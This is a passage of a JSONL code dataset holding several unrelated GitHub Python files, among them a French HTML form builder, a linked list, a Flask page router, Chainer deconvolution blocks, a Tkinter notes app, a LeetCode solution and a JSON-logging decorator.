name_labeltype[j][1])for j in k])\n\n\t\telse:\n\t\t\t\n\t\t\t\n\t\t\tq = \" \".join([\"\"\"<label for={n}>{t}:</label><input name = \"{n}\" id = \"{n}\" type = \"{ty}\" />\"\"\".format(t = name_labeltype[j][0], n = j, ty = name_labeltype[j][1])for j in k])\n\n\t\tf = \"\"\"<form action=\"{0}\" accept-charset=\"ISO-8859-1\" method=\"{1}\"> {2} <input value = \"{3}\" type=\"submit\" />   </form>\"\"\".format(action, method, q, value)\n\t\t\n\t\treturn f\n\t\t\n\tdef text(self, action, method, label, name, bouton, value, rows=5, cols=10):\n\t\t\n\t\t\"\"\"\n\t\tArguments:\n\t\t\t\n\t\t\taction = route à laquelle serra envoyé le formulaire\n\t\t\tmethode = post (ou get)\n\t\t\tlabel = titre qui s'affiche au dessus de la zone de saisie\n\t\t\tbouton = value du bouton d'envoi du formulaire\n\t\t\tvalue = contenu par defaut (attention ce n'est pas un placeholder)\n\t\t\trows = nombre de lignes\n\t\t\tcols = nombre de colonnes\n\t\t\n\t\tExemple:\n\t\t\t>>> f = Form()\n\t\t\t>>> t = f.text('/redaction', 'post', 'Editeur', 'text1', 'envoyer', 'Il etait une fois...')\n\t\t\t>>> t\n\t\t\t'<form method=\"post\" action=\"/redaction\" accept-charset=\"Windows-1256\"><p><label for=\"text1\">Editeur</label><br/><textarea name=\"text1\" id=\"text1\" rows=\"5\" cols=\"10\" wrap=\"virtual\">Il etait une fois...</textarea></p><input type=\"submit\" value=\"envoyer\"/></form>'\n\t\t\t\n\t\t\"\"\"\n\t\t\n\t\treturn \"\"\"<form method=\"{method}\" action=\"{action}\" accept-charset=\"ISO-8859-1\"><p><label for=\"{name}\">{label}</label><br/><textarea name=\"{name}\" id=\"{name}\" rows=\"{rows}\" cols=\"{cols}\" wrap=\"virtual\" style=\"overflow:scroll;\">{value}</textarea></p><input type=\"submit\" value=\"{bouton}\"/></form>\"\"\".format(action=action, method=method, label=label, name=name, bouton=bouton, value=value, rows=rows, cols=cols)\n\t\n\t\t\n\t#boutons automatiques\t\t\t\n\t\t\n\tdef boutimp(self, action, method, name, value, classe = ''):\n\t\t\n\t\t\"\"\"\n\t\tC'est un \"faux\" bouton, ou bouton de type input dont la value transmise est la value d'affichage du bouton.\n\t\t\n\t\tArguments:\n\t\t\t\n\t\t\taction = route à laquelle serra envoyé le formulaire\n\t\t\tmethode = post (ou get)\n\t\t\tname = nom du bouton\n\t\t\tvalue = value du bouton\n\t\t\tclass = css class\n\t\t\n\t\tExemple:\n\t\t\t\n\t\t\t>>> f = Form()\n\t\t\t>>> b = f.boutimp(\"/logout\", \"post\", \"bout_log_out\", \"Logout\" )\n\t\t\t>>> b\n\t\t\t'<form action = \"/logout\" method = \"post\"> <input type = \"submit\" name = \"bout_log_out\" value = \"Logout\" style = \"\"/> </form>'\n\t\t\"\"\"\n\t\t\n\t\treturn \"\"\"<form action = \"{0}\" method = \"{1}\" accept-charset=\"ISO-8859-1\"> <input type = \"submit\" name = \"{2}\" value = \"{3}\" class = \"{4}\"/> </form>\"\"\".format(action, method, name, value, classe)\n\t\t\n\t\t\n\tdef bouton(self, action, method, name, value, label, classe = ''):\n\t\t\n\t\t\"\"\"\n\t\tC'est un \"vrai\" bouton dont la value transmise peut etre différente de la value d'affichage du bouton\n\t\t\n\t\tArguments:\n\t\t\t\n\t\t\taction = route à laquelle serra envoyé le formulaire\n\t\t\tmethode = post (ou get)\n\t\t\tname = nom du bouton\n\t\t\tvalue = str transmise avec le bouton\n\t\t\tlabel = label qui s'affiche dans le bouton\n\t\t\tclass = css class\n\t\t\"\"\"\n\t\t\n\t\t\n\t\treturn \"\"\"<form action=\"{0}\" method=\"{1}\" accept-charset=\"ISO-8859-1\"> <button type=\"submit\" name=\"{2}\" value=\"{3}\" class = \"{5}\">{4}</button></form>\"\"\".format(action, method, name, value, label, classe)\n\t\t\n\t\t\n\tdef bouton_lien(self, action, method, name, value, label):\n\t\t\n\t\t\"\"\"\n\t\tC'est un \"vrai\" bouton (dont la value transmise peut etre différente de la value d'affichage du bouton) déguisé en lien html.\n\t\t\n\t\tArguments:\n\t\t\t\n\t\t\taction = route à laquelle serra envoyé le formulaire\n\t\t\tmethode = post (ou get)\n\t\t\tname = nom du bouton\n\t\t\tvalue = str transmise avec le bouton\n\t\t\tlabel = label qui s'affiche dans le bouton\n\t\t\tclass = css class\n\t\t\"\"\"\n\t\t\n\t\treturn \"\"\"<form action=\"{0}\" method=\"{1}\" accept-charset=\"ISO-8859-1\"> <button type=\"submit\" name=\"{2}\" value=\"{3}\" style = \"{5}\" >{4}</button></form>\"\"\".format(action, method, name, value, label, self.btn_link)\n\t\t\n\t\t\n\tdef bouton_lienb(self, action, method, name, value, label):\n\t\t\n\t\t\"\"\"\n\t\tC'est un \"vrai\" bouton (dont la value transmise peut etre différente de la value d'affichage du bouton) déguisé en lien html blanc.\n\t\t\n\t\tArguments:\n\t\t\t\n\t\t\taction = route à laquelle serra envoyé le formulaire\n\t\t\tmethode = post (ou get)\n\t\t\tname = nom du bouton\n\t\t\tvalue = str transmise avec le bouton\n\t\t\tlabel = label qui s'affiche dans le bouton\n\t\t\tclass = css class\n\t\t\"\"\"\n\t\t\n\t\treturn \"\"\"<form action=\"{0}\" method=\"{1}\" accept-charset=\"ISO-8859-1\"> <button type=\"submit\" name=\"{2}\" value=\"{3}\" style = \"{5}\" >{4}</button></form>\"\"\".format(action, method, name, value, label, self.lienblanc)\n\t\n\t\n\t\n\t\n\t#liste deroulante automatique\n\t\n\tdef listder(self, action, method, name, label, classe = '', bout = 'Envoyer', **value_txt):\n\t\t\n\t\t\"\"\"\n\t\tArguments:\n\t\t\t\n\t\t\taction = route à laquelle serra envoyé le formulaire\n\t\t\tmethode = post (ou get)\n\t\t\tname = nom de la liste\n\t\t\tlabel = label affiché au dessus des cases a cocher\n\t\t\t**value_txt associe les noms des champs de la liste au text des champs de la liste.\n\t\t\n\t\tAttention:\n\t\t\t\n\t\t\ten python3.6 les champs sont dans l'ordre du dico\n\t\t\ten python<3.6 les chanps sont dans l'ordre alphabetique\n\t\t\"\"\"\n\t\t\n\t\tk = value_txt.keys()\n\t\t\n\t\tif sys.version_info < (3,6):\n\t\t\t\n\t\t\tk = sorted(k)\n\t\t\n\t\tq = \" \".join([\"\"\"<option value=\"{v}\">{t}</option>\"\"\".format(v = i, t = value_txt[i]) for i in k])\n\t\t\n\t\t\n\t\n\t\treturn \"\"\"<form action=\"{0}\" method=\"{1}\" accept-charset=\"ISO-8859-1\"><label for=\"{2}\">{3}</label><select name=\"{2}\" id={2} class=\"{4}\">{q}</select><input type=\"submit\" value=\"{5}\"/></form>\"\"\".format(action, method, name, label, classe, bout, q=q)\n\t\n\t\t\t\n\t\t\t\t\t\t\t\n\t#cases automatiques\n\t\t\t\t\t\n\tdef case(self, action, method, label, value='Envoyer', **namevalue):\n\t\t\n\t\t\"\"\"\n\t\tArguments:\n\t\t\t\n\t\t\taction = route à laquelle serra envoyé le formulaire\n\t\t\tmethode = post (ou get)\n\t\t\tvalue = value du bouton d'envoi\n\t\t\tlabel = label affiché au dessus des cases a cocher\n\t\t\t**namevalue = dico associant les noms des cases et leur value qui s'affiche\n\t\t\n\t\tExemple:\n\t\t\t\n\t\t\tf = Form()\n\t\t\tmes_cases = f.case('/traitcase', 'post', 'cochez des cases', paris='Paris', rome='Rome', dakar='Dakar')\n\t\t\"\"\"\n\n\t\tx = \" \".join([\"\"\"<input type=\"checkbox\" name=\"{n}\" value=\"{m}\" id=\"{n}\" /> <label for=\"{n}\">{m}</label><br/>\"\"\".format(n = i, m = namevalue[i]) for i in namevalue.keys()])\n\t\n\t\treturn \"\"\"<form action=\"{0}\" method=\"{1}\" accept-charset=\"ISO-8859-1\"> {2} <br/> {3} <input value=\"{4}\" type=\"submit\" /> </form>\"\"\".format(action, method, label, x, value)\n\t\t\n\t\t\n\n\n","repo_name":"YannBouyeron/bottle-session","sub_path":"Formulator.py","file_name":"Formulator.py","file_ext":"py","file_size_in_byte":8284,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"75108415232","text":"# list node class\nclass Node:\n    def __init__(self, initData):\n        self.data = initData\n        self.next = None\n\n    def get_data(self):\n        return self.data\n\n    def get_next(self):\n        return self.next\n\n    def set_data(self, newdata):\n        self.data = newdata\n\n    def set_next(self, nextNode):\n        self.next = nextNode\n\n\n# temp = Node(93)\n# temp.set_data(66)\n# print(temp.data)\n\n\n# list define and operating\nclass LList:\n    def __init__(self):\n        self.head = None\n\n    def is_empty(self):\n        return self.head is None\n\n    def add(self, elem):\n        tempnode = Node(elem)\n        tempnode.set_next(self.head)\n        self.head = tempnode\n\n    def remove(self, elem):\n        current = self.head\n        pre = None\n        isFound = False\n\n        while not isFound:\n            if current.get_data() == elem:\n                isFound = True\n            else:\n                pre = current\n                current = current.get_next()\n\n        if pre is None:\n            # delete head node\n            self.head = current.get_next()\n        else:\n            # delete other node except head node\n            pre.set_next(current.get_next())\n\n    def search(self, elem):\n        current = self.head\n        found = False\n        while current is not None and not found:\n            if current.get_data() == elem:\n                found = True\n            else:\n                current = current.get_next()\n        return found\n\n\nmylist = LList()\nmylist.add(11)\nmylist.add(22)\nmylist.add(33)\nmylist.add(44)\nmylist.add(55)\nprint(mylist.search(44))\nmylist.remove(33)\nprint(mylist.search(33))\n\n\n\n","repo_name":"cylmemory/CodeTraining","sub_path":"基础数据结构和算法/线性表/链表.py","file_name":"链表.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14142794840","text":"import os, errno, re\nfrom time import gmtime, strftime\n\nfrom flask import Flask, render_template, abort, send_from_directory,make_response,send_file\nfrom jinja2 import TemplateNotFound\n\napp = Flask(__name__)\n\n@app.route('/', defaults={'page': 'index'})\n@app.route('/<page>')\ndef pages(page=None):\n    try:\n        return render_template('%s.html' % page)\n    except TemplateNotFound:\n        abort(404)\n\n@app.errorhandler(404)\ndef page_not_found(e):\n    return render_template('404.html'), 404\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"MediaSapiens/coffee-and-code","sub_path":"pages.py","file_name":"pages.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8910137055","text":"import chainer\n\nfrom diffprop.core import DeConv2D_BN, MaxUnPooling2D, AverageUnPooling2D\n\nclass InvCeptionHead(chainer.Chain):\n\n\tdef __init__(self, head):\n\t\tsuper(InvCeptionHead, self).__init__()\n\n\t\twith self.init_scope():\n\t\t\tself.deconv1 = DeConv2D_BN(head.conv1)\n\t\t\tself.deconv2 = DeConv2D_BN(head.conv2)\n\t\t\tself.deconv3 = DeConv2D_BN(head.conv3)\n\t\t\tself.unpooling4 = MaxUnPooling2D(head.pool4)\n\n\t\t\tself.deconv5 = DeConv2D_BN(head.conv5)\n\t\t\tself.deconv6 = DeConv2D_BN(head.conv6)\n\t\t\tself.unpooling7 = MaxUnPooling2D(head.pool7)\n\n\n\tdef __call__(self, gy):\n\n\n\t\tgx = self.unpooling7(gy)\n\t\tgx = self.deconv6(gx)\n\t\tgx = self.deconv5(gx)\n\n\n\t\tgx = self.unpooling4(gx)\n\t\tgx = self.deconv3(gx)\n\t\tgx = self.deconv2(gx)\n\t\tgx = self.deconv1(gx)\n\n\t\treturn gx\n\nclass BaseBlock(chainer.Chain):\n\tdef __init__(self, block, unpooling_cls):\n\t\tsuper(BaseBlock, self).__init__()\n\n\t\twith self.init_scope():\n\t\t\tif hasattr(block, \"pool_conv\"):\n\t\t\t\tself.pool_deconv = DeConv2D_BN(block.pool_conv)\n\n\n\t\tself.unpool = unpooling_cls(block.pool)\n\n\n\nclass InvCeption1(BaseBlock):\n\tdef __init__(self, block, unpooling_cls):\n\t\tsuper(InvCeption1, self).__init__(block, unpooling_cls)\n\n\t\twith self.init_scope():\n\t\t\tself.deconv1x1 = DeConv2D_BN(block.conv1x1)\n\t\t\tself._out1 = block.conv1x1.conv.W.shape[0]\n\n\t\t\tself.deconv5x5_1 = DeConv2D_BN(block.conv5x5_1)\n\t\t\tself.deconv5x5_2 = DeConv2D_BN(block.conv5x5_2)\n\t\t\tself._out2 = block.conv5x5_2.conv.W.shape[0]\n\n\t\t\tself.deconv3x3_1 = DeConv2D_BN(block.conv3x3_1)\n\t\t\tself.deconv3x3_2 = DeConv2D_BN(block.conv3x3_2)\n\t\t\tself.deconv3x3_3 = DeConv2D_BN(block.conv3x3_3)\n\t\t\tself._out3 = block.conv3x3_3.conv.W.shape[0]\n\n\t\t\t# self._out4 = block.pool_conv.conv.W.shape[0]\n\n\n\tdef forward(self, gy):\n\t\trest = gy\n\t\tgy1, rest = rest[:, :self._out1], rest[:, self._out1:]\n\t\tgy2, rest = rest[:, :self._out2], rest[:, self._out2:]\n\t\tgy3, gy4  = rest[:, :self._out3], rest[:, self._out3:]\n\n\t\tgx1 = self.deconv1x1(gy1)\n\t\tgx2 = self.deconv5x5_1(self.deconv5x5_2(gy2))\n\t\tgx3 = self.deconv3x3_1(self.deconv3x3_2(self.deconv3x3_3(gy3)))\n\t\tgx4 = self.unpool(self.pool_deconv(gy4))\n\n\t\treturn sum([gx1, gx2, gx3, gx4])\n\n\nclass InvCeption2(BaseBlock):\n\tdef __init__(self, block, unpooling_cls):\n\t\tsuper(InvCeption2, self).__init__(block, unpooling_cls)\n\n\t\twith self.init_scope():\n\t\t\tself.deconv3x3 = DeConv2D_BN(block.conv3x3)\n\t\t\tself._out1 = block.conv3x3.conv.W.shape[0]\n\n\t\t\tself.deconv3x3_1 = DeConv2D_BN(block.conv3x3_1)\n\t\t\tself.deconv3x3_2 = DeConv2D_BN(block.conv3x3_2)\n\t\t\tself.deconv3x3_3 = DeConv2D_BN(block.conv3x3_3)\n\t\t\tself._out2 = block.conv3x3_3.conv.W.shape[0]\n\n\n\tdef forward(self, gy):\n\t\trest = gy\n\n\t\tgy1, rest = rest[:, :self._out1], rest[:, self._out1:]\n\t\tgy2, gy3 = rest[:, :self._out2], rest[:, self._out2:]\n\n\t\tgx1 = self.deconv3x3(gy1)\n\t\tgx2 = self.deconv3x3_1(self.deconv3x3_2(self.deconv3x3_3(gy2)))\n\t\tgx3 = self.unpool(gy3)\n\n\t\treturn sum([gx1, gx2, gx3])\n\n\nclass InvCeption3(BaseBlock):\n\tdef __init__(self, block, unpooling_cls):\n\t\tsuper(InvCeption3, self).__init__(block, unpooling_cls)\n\n\t\twith self.init_scope():\n\n\t\t\tself.deconv1x1 = DeConv2D_BN(block.conv1x1)\n\t\t\tself._out1 = block.conv1x1.conv.W.shape[0]\n\n\t\t\tself.deconv7x7_1 = DeConv2D_BN(block.conv7x7_1)\n\t\t\tself.deconv7x7_2 = DeConv2D_BN(block.conv7x7_2)\n\t\t\tself.deconv7x7_3 = DeConv2D_BN(block.conv7x7_3)\n\t\t\tself._out2 = block.conv7x7_3.conv.W.shape[0]\n\n\t\t\tself.deconv7x7x2_1 = DeConv2D_BN(block.conv7x7x2_1)\n\t\t\tself.deconv7x7x2_2 = DeConv2D_BN(block.conv7x7x2_2)\n\t\t\tself.deconv7x7x2_3 = DeConv2D_BN(block.conv7x7x2_3)\n\t\t\tself.deconv7x7x2_4 = DeConv2D_BN(block.conv7x7x2_4)\n\t\t\tself.deconv7x7x2_5 = DeConv2D_BN(block.conv7x7x2_5)\n\t\t\tself._out3 = block.conv7x7x2_5.conv.W.shape[0]\n\n\n\tdef forward(self, gy):\n\n\t\trest = gy\n\t\tgy1, rest = rest[:, :self._out1], rest[:, self._out1:]\n\t\tgy2, rest = rest[:, :self._out2], rest[:, self._out2:]\n\t\tgy3, gy4  = rest[:, :self._out3], rest[:, self._out3:]\n\n\t\tgx1 = self.deconv1x1(gy1)\n\t\tgx2 = self.deconv7x7_1(self.deconv7x7_2(self.deconv7x7_3(gy2)))\n\t\tgx3 = self.deconv7x7x2_1(self.deconv7x7x2_2(self.deconv7x7x2_3(self.deconv7x7x2_4(self.deconv7x7x2_5(gy3)))))\n\t\tgx4 = self.unpool(self.pool_deconv(gy4))\n\n\t\treturn sum([gx1, gx2, gx3, gx4])\n\n\nclass InvCeption4(BaseBlock):\n\tdef __init__(self, block, unpooling_cls):\n\t\tsuper(InvCeption4, self).__init__(block, unpooling_cls)\n\n\t\twith self.init_scope():\n\n\t\t\tself.deconv3x3_1 = DeConv2D_BN(block.conv3x3_1)\n\t\t\tself.deconv3x3_2 = DeConv2D_BN(block.conv3x3_2)\n\t\t\tself._out1 = block.conv3x3_2.conv.W.shape[0]\n\n\t\t\tself.deconv7x7_1 = DeConv2D_BN(block.conv7x7_1)\n\t\t\tself.deconv7x7_2 = DeConv2D_BN(block.conv7x7_2)\n\t\t\tself.deconv7x7_3 = DeConv2D_BN(block.conv7x7_3)\n\t\t\tself.deconv7x7_4 = DeConv2D_BN(block.conv7x7_4)\n\t\t\tself._out2 = block.conv7x7_4.conv.W.shape[0]\n\n\n\tdef forward(self, gy):\n\t\trest = gy\n\t\tgy1, rest = rest[:, :self._out1], rest[:, self._out1:]\n\t\tgy2, gy3 = rest[:, :self._out2], rest[:, self._out2:]\n\n\t\tgx1 = self.deconv3x3_1(self.deconv3x3_2(gy1))\n\t\tgx2 = self.deconv7x7_1(self.deconv7x7_2(self.deconv7x7_3(self.deconv7x7_4(gy2))))\n\t\tgx3 = self.unpool(gy3)\n\t\treturn sum([gx1, gx2, gx3])\n\n\nclass InvCeption5(BaseBlock):\n\tdef __init__(self, block, unpooling_cls):\n\t\tsuper(InvCeption5, self).__init__(block, unpooling_cls)\n\n\t\twith self.init_scope():\n\n\t\t\tself.deconv1x1 = DeConv2D_BN(block.conv1x1)\n\t\t\tself._out1 = block.conv1x1.conv.W.shape[0]\n\n\t\t\tself.deconv3x3_1 = DeConv2D_BN(block.conv3x3_1)\n\t\t\tself.deconv3x3_2 = DeConv2D_BN(block.conv3x3_2)\n\t\t\tself.deconv3x3_3 = DeConv2D_BN(block.conv3x3_3)\n\t\t\tself._out2 = block.conv3x3_3.conv.W.shape[0]\n\n\t\t\tself.deconv3x3x2_1 = DeConv2D_BN(block.conv3x3x2_1)\n\t\t\tself.deconv3x3x2_2 = DeConv2D_BN(block.conv3x3x2_2)\n\t\t\tself.deconv3x3x2_3 = DeConv2D_BN(block.conv3x3x2_3)\n\t\t\tself.deconv3x3x2_4 = DeConv2D_BN(block.conv3x3x2_4)\n\t\t\tself._out3 = block.conv3x3x2_4.conv.W.shape[0]\n\n\tdef forward(self, gy):\n\t\trest = gy\n\t\tgy1, rest = rest[:, :self._out1], rest[:, self._out1:]\n\n\t\tgy2_1, rest = rest[:, :self._out2], rest[:, self._out2:]\n\t\tgy2_2, rest = rest[:, :self._out2], rest[:, self._out2:]\n\n\t\tgy3_1, rest = rest[:, :self._out3], rest[:, self._out3:]\n\t\tgy3_2, gy4  = rest[:, :self._out3], rest[:, self._out3:]\n\n\t\tgx1 = self.deconv1x1(gy1)\n\n\t\tgx2_1 = sum([self.deconv3x3_2(gy2_1), self.deconv3x3_3(gy2_2)])\n\t\tgx2 = self.deconv3x3_1(gx2_1)\n\n\t\tgx3_1 = sum([self.deconv3x3x2_3(gy3_1), self.deconv3x3x2_4(gy3_2)])\n\t\tgx3 = self.deconv3x3x2_1(self.deconv3x3x2_2(gx3_1))\n\n\t\tgx4 = self.unpool(self.pool_deconv(gy4))\n\n\n\t\treturn sum([gx1, gx2, gx3, gx4])\n","repo_name":"DiKorsch/svm_baselines","sub_path":"deconv_backprop/diffprop/core/models/invception/blocks.py","file_name":"blocks.py","file_ext":"py","file_size_in_byte":6440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74936287870","text":"def findHinges(rList0, rList1, segments, min_hinge_spacing = 6):\n\t\"\"\"Find hinge residues, which are defined as the interface\n\tresidues between segments that are at least 6 residues long.\"\"\"\n\tsegmentId = {}\n\tsegId = 1\n\tfor seg in segments:\n\t\tfor r in seg[0]:\n\t\t\tsegmentId[r] = segId\n\t\tsegId += 1\n\thingeIndices = []\n\tprevId = None\n\tprevCount = 0\n\tthisId = None\n\tthisCount = 0\n\tfor rIndex, r in enumerate(rList0):\n\t\tnewId = segmentId[r]\n\t\tif newId == thisId:\n\t\t\tthisCount += 1\n\t\telse:\n\t\t\t# Transition.  Check the previous two segment lengths\n\t\t\t# to see if we found a hinge; then move \"this\" to \"prev\"\n\t\t\t# and start a new segment.\n\t\t\tif prevCount >= min_hinge_spacing and thisCount >= min_hinge_spacing:\n\t\t\t\thingeIndices.append(rIndex - thisCount)\n\t\t\t\tprevCount = thisCount\n\t\t\telse:\n\t\t\t\tprevCount += thisCount\n\t\t\tthisCount = 1\n\t\t\tprevId = thisId\n\t\t\tthisId = newId\n\tif prevCount >= min_hinge_spacing and thisCount >= min_hinge_spacing:\n\t\thingeIndices.append(len(rList0) - thisCount)\n\treturn hingeIndices\n\ndef splitOnHinges(hingeIndices, rList):\n\t\"Split molecule into lists of consecutive residues at hinge residues\"\n\t# Assumes that hinge indices are sorted\n\tif not hingeIndices:\n\t\treturn [ rList ]\n\telse:\n\t\tstart = 0\n\t\tsegments = []\n\t\tfor i in hingeIndices:\n\t\t\tsegments.append(rList[start:i])\n\t\t\tstart = i\n\t\tsegments.append(rList[start:])\n\t\treturn segments\n","repo_name":"RBVI/ChimeraX","sub_path":"src/bundles/morph/src/hinge.py","file_name":"hinge.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"60"}
+{"seq_id":"38583610445","text":"import tkinter\r\nfrom tkinter import *\r\nfrom tkinter import Tk\r\nfrom tkinter import filedialog\r\n\r\nwindow = Tk()\r\nwindow.title(\"ShadowNotes\")\r\nwindow.geometry(\"500x500\")\r\nwindow.state('zoomed')\r\nwindow.configure(background='white')\r\n\r\ntxt_writer = Text(window, width=50, height=10)\r\ntxt_writer.pack()\r\n\r\n# los defs\r\ndef open_file(): # open a txt file\r\n    window.filename = filedialog.askopenfilename(initialdir=\"/\", title=\"Select file\", filetypes=((\"Text files\", \"*.txt\"), (\"All files\", \"*.*\")))\r\n    print(window.filename)\r\n# save txt file\r\ndef save_file():\r\n    window.filename = filedialog.asksaveasfilename(initialdir=\"/\", title=\"Select file\", filetypes=((\"Text files\", \"*.txt\"), (\"All files\", \"*.*\")))\r\n    print(window.filename)\r\n# create txt file\r\ndef create_file():\r\n    window.filename = filedialog.asksaveasfilename(initialdir=\"/\", title=\"Select file\", filetypes=((\"Text files\", \"*.txt\"), (\"All files\", \"*.*\")))\r\n    print(window.filename)\r\n\r\n\r\nmenubar = Menu(window)\r\nfilemenu = Menu(menubar, tearoff=0)\r\nmenubar.add_cascade(label=\"File\", menu=filemenu)\r\nfilemenu.add_command(label=\"New\", command=create_file)\r\nfilemenu.add_command(label=\"save as\", command=save_file)\r\nfilemenu.add_command(label=\"open\", command=open_file)\r\n\r\nfilemenu.add_separator()\r\n\r\nwindow.config(menu=menubar)\r\nwindow.mainloop()","repo_name":"theshadow76/Proyectos-1.1","sub_path":"proyecto 1.1/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"5610862657","text":"'''\r\nQuestion link:https://leetcode.com/problems/longest-continuous-subarray-with-absolute-diff-less-than-or-equal-to-limit/\r\nSolution: By using a monotonic queue we are always keeping track of the smallest and\r\nthe largest element in the top of the queue as we move to the right\r\nSo when we find a larger element than the previous largest or a smaller element than the\r\nprevious smallest we check the absolute difference\r\n[8, 2, 4, 7] 4\r\n0\r\n6\r\n2, max is 2\r\n5 then back to 3, max is 2 so no difference\r\nI still can't think of why sliding to the next smallest if we find a greatest and jumping to the\r\nnext largest if we find a smallest when we move to the right doesn't bring a good and optimal\r\nsolution\r\n'''\r\n\r\n\r\nfrom typing import List\r\n\r\n\r\nclass Solution:\r\n    def longestSubarray(self, nums: List[int], limit: int) -> int:\r\n        small_queue = []\r\n        large_queue = []\r\n        right = 0\r\n        left = 0\r\n        largest = nums[0]\r\n        smallest = nums[0]\r\n        lon_con_subarray = 0\r\n        while(right < len(nums)):\r\n            while small_queue and nums[small_queue[-1]] >= nums[right]:\r\n                small_queue.pop()\r\n            small_queue.append(right)\r\n            while large_queue and nums[large_queue[-1]] <= nums[right]:\r\n                large_queue.pop()\r\n            large_queue.append(right)\r\n            # print(large_queue, \"large queue\")\r\n            # print(small_queue, \"small queue\")\r\n            if nums[large_queue[0]] - nums[small_queue[0]] > limit:\r\n                # if nums[right] == nums[large_queue[0]]:\r\n                #     left = small_queue[0] + 1\r\n                #     small_queue.pop(0)\r\n                #     if left > large_queue[0]:\r\n                #         large_queue.pop(0)\r\n                # if nums[right] == nums[small_queue[0]]:\r\n                #     left = large_queue[0] + 1\r\n                #     large_queue.pop(0)\r\n                #     if left > small_queue[0]:\r\n                #         small_queue.pop(0)\r\n                left += 1\r\n                if left > large_queue[0]:\r\n                    large_queue.pop(0)\r\n                if left > small_queue[0]:\r\n                    small_queue.pop(0)\r\n            else:\r\n                lon_con_subarray = max(lon_con_subarray, (right - left)+1)\r\n                right += 1\r\n        return lon_con_subarray\r\n","repo_name":"EyasuTesfu/Competitive-Programming","sub_path":"week 9/LongestSubarrayAbsoluteDiff.py","file_name":"LongestSubarrayAbsoluteDiff.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"43350672265","text":"# Задание №3\n# Напишите декоратор, который сохраняет в json файл\n# параметры декорируемой функции и результат, который она\n# возвращает. При повторном вызове файл должен\n# расширяться, а не перезаписываться.\n# Каждый ключевой параметр сохраните как отдельный ключ\n# json словаря.\n# Для декорирования напишите функцию, которая может\n# принимать как позиционные, так и ключевые аргументы.\n# Имя файла должно совпадать с именем декорируемой\n# функции.\n\nimport json  # Импортируем модуль json для работы с JSON файлами.\nimport os    # Импортируем модуль os для работы с файловой системой.\n\n# Создаем декоратор save_to_json, который будет сохранять параметры и результат декорируемой функции в JSON файле.\ndef save_to_json(func):\n    # Создаем обертку (wrapper) для декоратора, которая будет вызывать декорируемую функцию и сохранять данные.\n    def wrapper(*args, **kwargs):\n        # Вызываем декорируемую функцию и сохраняем её результат.\n        result = func(*args, **kwargs)\n\n        # Генерируем имя файла на основе имени декорируемой функции.\n        filename = f\"{func.__name__}.json\"\n\n        # Создаем или открываем файл JSON для записи.\n        if not os.path.exists(filename):  # Проверяем, существует ли файл.\n            data = []  # Если файл не существует, создаем пустой список данных.\n        else:\n            with open(filename, 'r') as file:\n                data = json.load(file)  # Если файл существует, загружаем данные из него.\n\n        # Создаем запись с параметрами функции и результатом.\n        entry = {\n            \"args\": args,    # Сохраняем позиционные аргументы функции.\n            \"kwargs\": kwargs,  # Сохраняем ключевые аргументы функции.\n            \"result\": result  # Сохраняем результат выполнения функции.\n        }\n\n        # Добавляем запись в список данных и сохраняем их в файл.\n        data.append(entry)\n        with open(filename, 'w') as file:\n            json.dump(data, file, indent=4)  # Записываем данные в файл с отступами для удобства чтения.\n\n        return result  # Возвраща��м результат выполнения декорируемой функции.\n\n    return wrapper  # Возвращаем обертку (wrapper) декоратора.\n\n# Пример использования декоратора для декорируемой функции.\n@save_to_json\ndef example_function(x, y=0):\n    return x + y\n\n# Пример вызова декорированной функции.\nresult = example_function(3, y=2)\nprint(f\"Результат: {result}\")\n\n# После вызова декорированной функции будет создан файл \"example_function.json\" с данными.\n","repo_name":"Beslan06/Python_Lesson9_5.10.2023","sub_path":"games_package/game3/les3.py","file_name":"les3.py","file_ext":"py","file_size_in_byte":3755,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74248987071","text":"from domain.committee import Committee\nfrom utils.time_util import get_timestamp_epoch\n\n\ndef json_to_committees(json, epoch):\n    committee_array = []\n\n    epoch_timestamp = get_timestamp_epoch(epoch)\n\n    raw_committees = json['committees']\n    for key in raw_committees.keys():\n        slot = int(key)\n        index = 0\n        for item_array in raw_committees[key]['committees']:\n            assert 1 == len(item_array)\n            vld_array = item_array['validatorIndices']\n            cmt = Committee()\n            cmt.epoch = epoch\n            cmt.epoch_timestamp = epoch_timestamp\n            cmt.slot = slot\n            cmt.index = index\n            cmt.committee = [int(vld) for vld in vld_array]\n            committee_array.append(cmt)\n            index += 1\n\n    return committee_array\n","repo_name":"Blazar221/Eth2etl","sub_path":"mapper/committee_mapper.py","file_name":"committee_mapper.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"991064795","text":"from contextlib import contextmanager\nfrom contextvars import ContextVar\nfrom enum import Enum\nfrom time import time, sleep\nfrom typing import Generic, TypeVar, overload, cast, Optional, Union\n\nfrom .backend import Backend, NoResult\nfrom .task import TaskHandler\n\n\nT = TypeVar('T')\n\n\nclass _Sentinel(Enum):\n    obj = object()\n\n\nclass ResultGetTimedOut(Exception):\n    pass\n\n\nclass ResultGetPrevented(Exception):\n    pass\n\n\n_prevent_to_wait_result: ContextVar[tuple[bool, str]] =\\\n    ContextVar('prevent_to_wait_result', default=(False, ''))\n\n\n@contextmanager\ndef prevent_to_wait_result(reason: str):\n    token = _prevent_to_wait_result.set((True, reason))\n    try:\n        yield\n    finally:\n        _prevent_to_wait_result.reset(token)\n\n\nclass Result(Generic[T]):\n    @overload\n    def __init__(self,\n                 backend: Backend,\n                 